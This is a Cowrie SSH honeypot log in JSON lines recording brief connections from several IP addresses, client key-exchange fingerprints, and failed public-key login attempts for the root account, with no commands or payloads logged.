{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:37.342324Z","src_ip":"193.24.211.100","session":"7eff98b83d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":38248,"dst_ip":"10.17.0.5","dst_port":22,"session":"91390c14ce22","protocol":"ssh","message":"New connection: 172.110.219.251:38248 (10.17.0.5:22) [session: 91390c14ce22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:47.171641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:47.176379Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:47.285877Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:da:75:1b:5b:71:94:c8:39:17:cc:22:54:d0:84:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/xjWo0uYjrhZ8UywmD/87b/JE+Garl4tAVXQ56cA14ex8XWC7ZRbnQCM7iT6/avdqDsUnROSNsgYdVPnhHed+nDZJgA+TDCud6Ltkb+q/GVv1o2Sn4yLJSIS3Q2kLmcNo/+/yfeYq8LPioRbt5JkyStNjO4npu2nJ9jSsZYf1vcmIPdq9lEd41NUvWyAS+ptXq0RLiB+nK4WXsj2qQmbMg51UTOcjzGdSxchxpiDwAplYiBI4j7tg7wV1bhGLriGuYY0XcMRlgybDqFoX0KUMiYsZ/I/qD320y0y3yEONf0T0VgzvS3e8LpxauTT0TUCoYqm0KRPPGS3joAJQLN4N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:da:75:1b:5b:71:94:c8:39:17:cc:22:54:d0:84:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:47.808704Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:da:75:1b:5b:71:94:c8:39:17:cc:22:54:d0:84:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/xjWo0uYjrhZ8UywmD/87b/JE+Garl4tAVXQ56cA14ex8XWC7ZRbnQCM7iT6/avdqDsUnROSNsgYdVPnhHed+nDZJgA+TDCud6Ltkb+q/GVv1o2Sn4yLJSIS3Q2kLmcNo/+/yfeYq8LPioRbt5JkyStNjO4npu2nJ9jSsZYf1vcmIPdq9lEd41NUvWyAS+ptXq0RLiB+nK4WXsj2qQmbMg51UTOcjzGdSxchxpiDwAplYiBI4j7tg7wV1bhGLriGuYY0XcMRlgybDqFoX0KUMiYsZ/I/qD320y0y3yEONf0T0VgzvS3e8LpxauTT0TUCoYqm0KRPPGS3joAJQLN4N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:47.812217Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:9f:b4:e5:81:2e:e6:f1:52:a7:58:1d:fc:04:12:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN+G5LpLu29Fw/l/4xuk6RmTfMTqWBjOY1GdioGsD8In53DAUxzZoSK7j3/wi+zH+JxtGDZ2w5yv02RuUfN0uHP+nQ03HGxTY0d34ErbhrISgqX3PuWCQVE+GNhptA3PtADZTw6coKr+csy9zGN9onUsGhKTM61Gv/OY+jlEKshmyBtGMVpTWV4ajDYblZMy9YgRcIyyoZwklML8VukmmG2q0RnwImtLQrSP5WAwYuijZTP7OM0vxkbGXWPdoU94zrL1jZMw5XA4zSDD7x4Yb0//DC/uxbJP6z3Ju2yHDtNJxZKVaRSiGOXl/rT9H+bvccnqoI78tvlrOKQVNpBD3t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:9f:b4:e5:81:2e:e6:f1:52:a7:58:1d:fc:04:12:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:47.920993Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:9f:b4:e5:81:2e:e6:f1:52:a7:58:1d:fc:04:12:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN+G5LpLu29Fw/l/4xuk6RmTfMTqWBjOY1GdioGsD8In53DAUxzZoSK7j3/wi+zH+JxtGDZ2w5yv02RuUfN0uHP+nQ03HGxTY0d34ErbhrISgqX3PuWCQVE+GNhptA3PtADZTw6coKr+csy9zGN9onUsGhKTM61Gv/OY+jlEKshmyBtGMVpTWV4ajDYblZMy9YgRcIyyoZwklML8VukmmG2q0RnwImtLQrSP5WAwYuijZTP7OM0vxkbGXWPdoU94zrL1jZMw5XA4zSDD7x4Yb0//DC/uxbJP6z3Ju2yHDtNJxZKVaRSiGOXl/rT9H+bvccnqoI78tvlrOKQVNpBD3t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:47.924868Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:be:fe:2c:53:4d:aa:ed:65:82:f6:2b:b3:9b:59:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyKFkOhJP3ckC3UYdKzTmFX+jDLIhR3yAiQn0iX7MIQ07KcYplcNh/QQ72zzB5N7aLFgQHXLdp0DITXla4T6FWfr1D9CrI+NZFp8YCLvAKt68qOgC0dAtdoAt73cicImmyign3T4Jkn/9ALXvJ9SdJIGBQjHzd9vl2/1C8+hggE+uVN5ikBFZxdGq/m5UIKWfr01IHAWsdErlouEneZSYSARUjVGduPjJWpNZdwTTNydUlcYREwM0Oomh082yDk1/mgM36W8Uv/hCZpko6JrjJkrK0NPkfrGQoM34aiyiKXn4m418skPXKjsUxWExGvmFwOLOXCGf3i5piOqt2nPsJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:be:fe:2c:53:4d:aa:ed:65:82:f6:2b:b3:9b:59:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:48.035724Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:be:fe:2c:53:4d:aa:ed:65:82:f6:2b:b3:9b:59:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyKFkOhJP3ckC3UYdKzTmFX+jDLIhR3yAiQn0iX7MIQ07KcYplcNh/QQ72zzB5N7aLFgQHXLdp0DITXla4T6FWfr1D9CrI+NZFp8YCLvAKt68qOgC0dAtdoAt73cicImmyign3T4Jkn/9ALXvJ9SdJIGBQjHzd9vl2/1C8+hggE+uVN5ikBFZxdGq/m5UIKWfr01IHAWsdErlouEneZSYSARUjVGduPjJWpNZdwTTNydUlcYREwM0Oomh082yDk1/mgM36W8Uv/hCZpko6JrjJkrK0NPkfrGQoM34aiyiKXn4m418skPXKjsUxWExGvmFwOLOXCGf3i5piOqt2nPsJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:48.039544Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:e4:b4:0f:a8:86:ed:ee:6c:34:d7:90:df:58:0f:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0pgaK9OViX+NChyOJjNIwoOxgEIoY1oHaIZ/aIZHtiUzSEOA8DjCbaQeyCeRtWCwBi4UDd5FgaiDC2kfIJkKTpYKSRLmo2JdauTwoHtoVyEBrbgvueIMBbNCIjwvEcyoK/Og9e/beZL4fZ2QtSS/xW+A4xGjpXZF6JgFr8nYSmXtcNM2j8an/u5An6F8ZhxeCJ0f3v6StlQ4unwO1YRzfMkPQ7n/Vsdx53NRfdbf2vKc4HrT3i1FGV/eBRa+mjc/v2q6dNqYdCTIlrDRLJ8cU24d18n8gSId8TKHRCpaT8YpdBa/FsKzgbsxC0Yx+q+w4hJWTHLT5N3FbjrftiVwoLSDIRrqfxQEPWxie7zNcRWiHW//aTiFX7gqd8Kix0r8FDMiZ1ENvR34OFAeUiDYDtGXLZOtORY82Be7Ox7UHZXVaVN47H+jUUpHiY29zSUpwUNNjqnFfey4B08MuAb62j27yDc+fWbeCKxbmzGxBGuJ0FP3ghHjZ5gZN0pT5k857ZfkdBSAgMgb0YD0fXwBHGvH5vaefCdxOmxSWqkytAuRsb0tpogF77q9NrAVdaiLS93ipV6qFz06dekkKCqbfFWrqV3zpfXi0YtXZY3okuYBtA4/4H/bMgobIzUe1VRIVbrNQC/MVNu2P7TemHJMBku7h/Sqd3IhMKxP7bHE9XQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:e4:b4:0f:a8:86:ed:ee:6c:34:d7:90:df:58:0f:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:48.151555Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:e4:b4:0f:a8:86:ed:ee:6c:34:d7:90:df:58:0f:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0pgaK9OViX+NChyOJjNIwoOxgEIoY1oHaIZ/aIZHtiUzSEOA8DjCbaQeyCeRtWCwBi4UDd5FgaiDC2kfIJkKTpYKSRLmo2JdauTwoHtoVyEBrbgvueIMBbNCIjwvEcyoK/Og9e/beZL4fZ2QtSS/xW+A4xGjpXZF6JgFr8nYSmXtcNM2j8an/u5An6F8ZhxeCJ0f3v6StlQ4unwO1YRzfMkPQ7n/Vsdx53NRfdbf2vKc4HrT3i1FGV/eBRa+mjc/v2q6dNqYdCTIlrDRLJ8cU24d18n8gSId8TKHRCpaT8YpdBa/FsKzgbsxC0Yx+q+w4hJWTHLT5N3FbjrftiVwoLSDIRrqfxQEPWxie7zNcRWiHW//aTiFX7gqd8Kix0r8FDMiZ1ENvR34OFAeUiDYDtGXLZOtORY82Be7Ox7UHZXVaVN47H+jUUpHiY29zSUpwUNNjqnFfey4B08MuAb62j27yDc+fWbeCKxbmzGxBGuJ0FP3ghHjZ5gZN0pT5k857ZfkdBSAgMgb0YD0fXwBHGvH5vaefCdxOmxSWqkytAuRsb0tpogF77q9NrAVdaiLS93ipV6qFz06dekkKCqbfFWrqV3zpfXi0YtXZY3okuYBtA4/4H/bMgobIzUe1VRIVbrNQC/MVNu2P7TemHJMBku7h/Sqd3IhMKxP7bHE9XQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:48.155461Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:2b:e7:a5:86:92:b2:b5:0e:97:6d:63:09:3a:09:2b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFy8pZDTmZNIPUOMqawPXemNSmuzwQZfTVAm2Cu2ZPvT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1e:2b:e7:a5:86:92:b2:b5:0e:97:6d:63:09:3a:09:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:48.266358Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:2b:e7:a5:86:92:b2:b5:0e:97:6d:63:09:3a:09:2b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFy8pZDTmZNIPUOMqawPXemNSmuzwQZfTVAm2Cu2ZPvT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:48.268784Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:48.378316Z","src_ip":"172.110.219.251","session":"91390c14ce22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.27.7.160","src_port":57612,"dst_ip":"10.17.0.5","dst_port":22,"session":"0275716b9fdf","protocol":"ssh","message":"New connection: 37.27.7.160:57612 (10.17.0.5:22) [session: 0275716b9fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.044323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.050127Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.162235Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:55:d2:be:5d:f7:32:98:84:3a:32:36:3d:dc:4e:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1jHr/m27XPcvTLXd9fePy9v7cUhWlue+xtCKHsqagVlltKGlSk5y3qLkrDl6v3CpUfdbf5g7J5RXuHXRzW8t25ESq2Tx9ZfkxFSelJ23h7eDWEBHlGSb9oeyJ/FQNj4iB4OMwVA7k8in//ClFlK2W5VJekeRqH+avbqPn9xWxE4hRgdOdPObm5zzWvo6P6UwHABOxNp/EpmYPgXov1kaihwFh3WjqiMjxlbytnvD4S0ChrRk9sjjrDrANWDhlr0q3U0mMl49RgMgMWB1qz6yB+a6GMLUlLyoPJ5GPyX1iGz2+TS2kV7Kl4DRaJfei07ZMSRNpKQnUtocf+hyJ7EBZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:55:d2:be:5d:f7:32:98:84:3a:32:36:3d:dc:4e:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.693884Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:55:d2:be:5d:f7:32:98:84:3a:32:36:3d:dc:4e:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1jHr/m27XPcvTLXd9fePy9v7cUhWlue+xtCKHsqagVlltKGlSk5y3qLkrDl6v3CpUfdbf5g7J5RXuHXRzW8t25ESq2Tx9ZfkxFSelJ23h7eDWEBHlGSb9oeyJ/FQNj4iB4OMwVA7k8in//ClFlK2W5VJekeRqH+avbqPn9xWxE4hRgdOdPObm5zzWvo6P6UwHABOxNp/EpmYPgXov1kaihwFh3WjqiMjxlbytnvD4S0ChrRk9sjjrDrANWDhlr0q3U0mMl49RgMgMWB1qz6yB+a6GMLUlLyoPJ5GPyX1iGz2+TS2kV7Kl4DRaJfei07ZMSRNpKQnUtocf+hyJ7EBZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.697861Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:d7:74:68:45:ce:0f:02:70:1b:4b:0c:72:a7:a5:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYMqwB8kFX/rE+8Q9p6qkLYAC/IZU+O74XxXb3nwKZwMh3IPttKZ71v6+EAC91tv8KNmwIZ5s1flHGGN7xnY31gY7dOeW743UTFhCzw64InioezCpQ2K27nxT/TQIeigJlrbeAo5RveFwRcNwZNiDD2Pp16tbvP/SGsKdWGBsi6oBq1AaFnfONqX/OvLEg8/nEbx2cr9B/4OnKempOxcrbQbHKKn+zqNzWUJoko6i6FyuKXMDHMQ1QUEpDHIE06NPp2X9mgVI5i1UbKPzrHNOxNqo69PeAlwFOqAVWz8+YRW1Qgs+f0EZ9/Id+a9Zs2y/qUceudviRJcs1mQjuM9MT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:d7:74:68:45:ce:0f:02:70:1b:4b:0c:72:a7:a5:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.813173Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:d7:74:68:45:ce:0f:02:70:1b:4b:0c:72:a7:a5:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYMqwB8kFX/rE+8Q9p6qkLYAC/IZU+O74XxXb3nwKZwMh3IPttKZ71v6+EAC91tv8KNmwIZ5s1flHGGN7xnY31gY7dOeW743UTFhCzw64InioezCpQ2K27nxT/TQIeigJlrbeAo5RveFwRcNwZNiDD2Pp16tbvP/SGsKdWGBsi6oBq1AaFnfONqX/OvLEg8/nEbx2cr9B/4OnKempOxcrbQbHKKn+zqNzWUJoko6i6FyuKXMDHMQ1QUEpDHIE06NPp2X9mgVI5i1UbKPzrHNOxNqo69PeAlwFOqAVWz8+YRW1Qgs+f0EZ9/Id+a9Zs2y/qUceudviRJcs1mQjuM9MT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.817094Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:43:20:f1:8c:ec:f5:f9:17:d8:9a:90:10:24:b5:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz+sc65cSl9uzLR4f2r0Oh+dy6xZPJp34kSLvEG/j/OJ6GopV7SwB+a93x3eWhiIbjG4JqrFyXrTP/Kz/ayDrG27MnElOJeKrJni4tYegWNcq3qX29JDD6LUl/S/9KrnQOY3GgosjD67hNXWIa1+us44nueVwT+ETSEbKofQXUJbXXoB2SURVwXmgEvJVwLY2Q3fWLQRWSY+ipovYJynGQNNEObvu6OClRt98lRfIcKwjO51GzrZ9ulXC01jtiIpv1vXKMKCO5HG133r8rE/WkWJWy7DpZh8W6HypQHN27aH2Oxz8+RZPnnXQBzjp/rethi6lfDnod/3DxjzUYvi/jmcaT20COg1+TT56ImmS3qyLOw7GTdtKWAkDYcbyqTQ2LBqQ1AMmXP2B+a4B7TraHxA6Xg1DNH3hTFkmm6MVej+anwIarPN5D6DVJq4xU5V+LL4W+dRiqpQXa1nzJdtcSBDUvSN5T2fBJn6+yB7bmLK7pNKhLzF+c37tCk3V3RF0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:43:20:f1:8c:ec:f5:f9:17:d8:9a:90:10:24:b5:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.928659Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:43:20:f1:8c:ec:f5:f9:17:d8:9a:90:10:24:b5:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz+sc65cSl9uzLR4f2r0Oh+dy6xZPJp34kSLvEG/j/OJ6GopV7SwB+a93x3eWhiIbjG4JqrFyXrTP/Kz/ayDrG27MnElOJeKrJni4tYegWNcq3qX29JDD6LUl/S/9KrnQOY3GgosjD67hNXWIa1+us44nueVwT+ETSEbKofQXUJbXXoB2SURVwXmgEvJVwLY2Q3fWLQRWSY+ipovYJynGQNNEObvu6OClRt98lRfIcKwjO51GzrZ9ulXC01jtiIpv1vXKMKCO5HG133r8rE/WkWJWy7DpZh8W6HypQHN27aH2Oxz8+RZPnnXQBzjp/rethi6lfDnod/3DxjzUYvi/jmcaT20COg1+TT56ImmS3qyLOw7GTdtKWAkDYcbyqTQ2LBqQ1AMmXP2B+a4B7TraHxA6Xg1DNH3hTFkmm6MVej+anwIarPN5D6DVJq4xU5V+LL4W+dRiqpQXa1nzJdtcSBDUvSN5T2fBJn6+yB7bmLK7pNKhLzF+c37tCk3V3RF0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:03.933240Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:d4:01:20:28:24:82:e0:6b:56:39:eb:14:e5:57:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyPcuCWyNz84/IH4nTlgm6Ls1htxF8JcNZWCiACVCH2e79RpZlIJ1dfFzrDm4zivJ9gwlcImw71cCpnV8SiVoYXKxmvL6wW0an84RbMrcZYBQl7zd5vPr5tNeGWQ7KwKqsi35PyjIAg5VM87IGSDk6XzYFoaEX1kEfebuUNLZn1vPIM7eaBNy/jw7eW6y1HRxQ3RPJXX+eF0y1F1XAg5m92Un10guODOKaMAEzHJVpzLgq6JUSV+IjbV76j56yds4lVMkSc8uzeYNFGWqXWlxw3FSS+o79tWZ4PSqtqKe7MUSmCkSfBgzdlSgXbkjYv56jIs3ehyQBC+8mBuoPa2xqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:d4:01:20:28:24:82:e0:6b:56:39:eb:14:e5:57:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:04.045685Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
